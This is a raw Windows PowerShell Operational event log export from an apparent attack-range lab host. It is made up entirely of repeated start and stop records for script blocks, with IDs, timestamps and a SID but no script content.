Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047844
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047843
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047842
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047825
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047820
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047819
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047797
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047796
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047795
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047794
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
